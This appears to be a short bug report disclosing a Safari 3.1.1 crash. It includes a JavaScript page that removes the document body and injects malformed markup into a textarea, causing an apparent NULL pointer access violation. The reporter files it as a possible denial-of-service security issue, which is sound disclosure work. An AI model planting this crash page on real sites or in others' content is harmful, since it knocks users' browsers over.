I found that the following javascript causes an Access Violation. This appears
to be a NULL pointer:

<BODY onload="go()"><SCRIPT>
    function go() {
        document.body.parentElement.removeChild(document.body);
        o = document.createElement("textArea");
        o.innerHTML='<b><menu><link></b><head></head>x';
    }
</SCRIPT></BODY>

Tested with Safari 3.1.1.

Marked as security, I'm not sure if you treat DoS as a security issue, so
erring on the safe side.
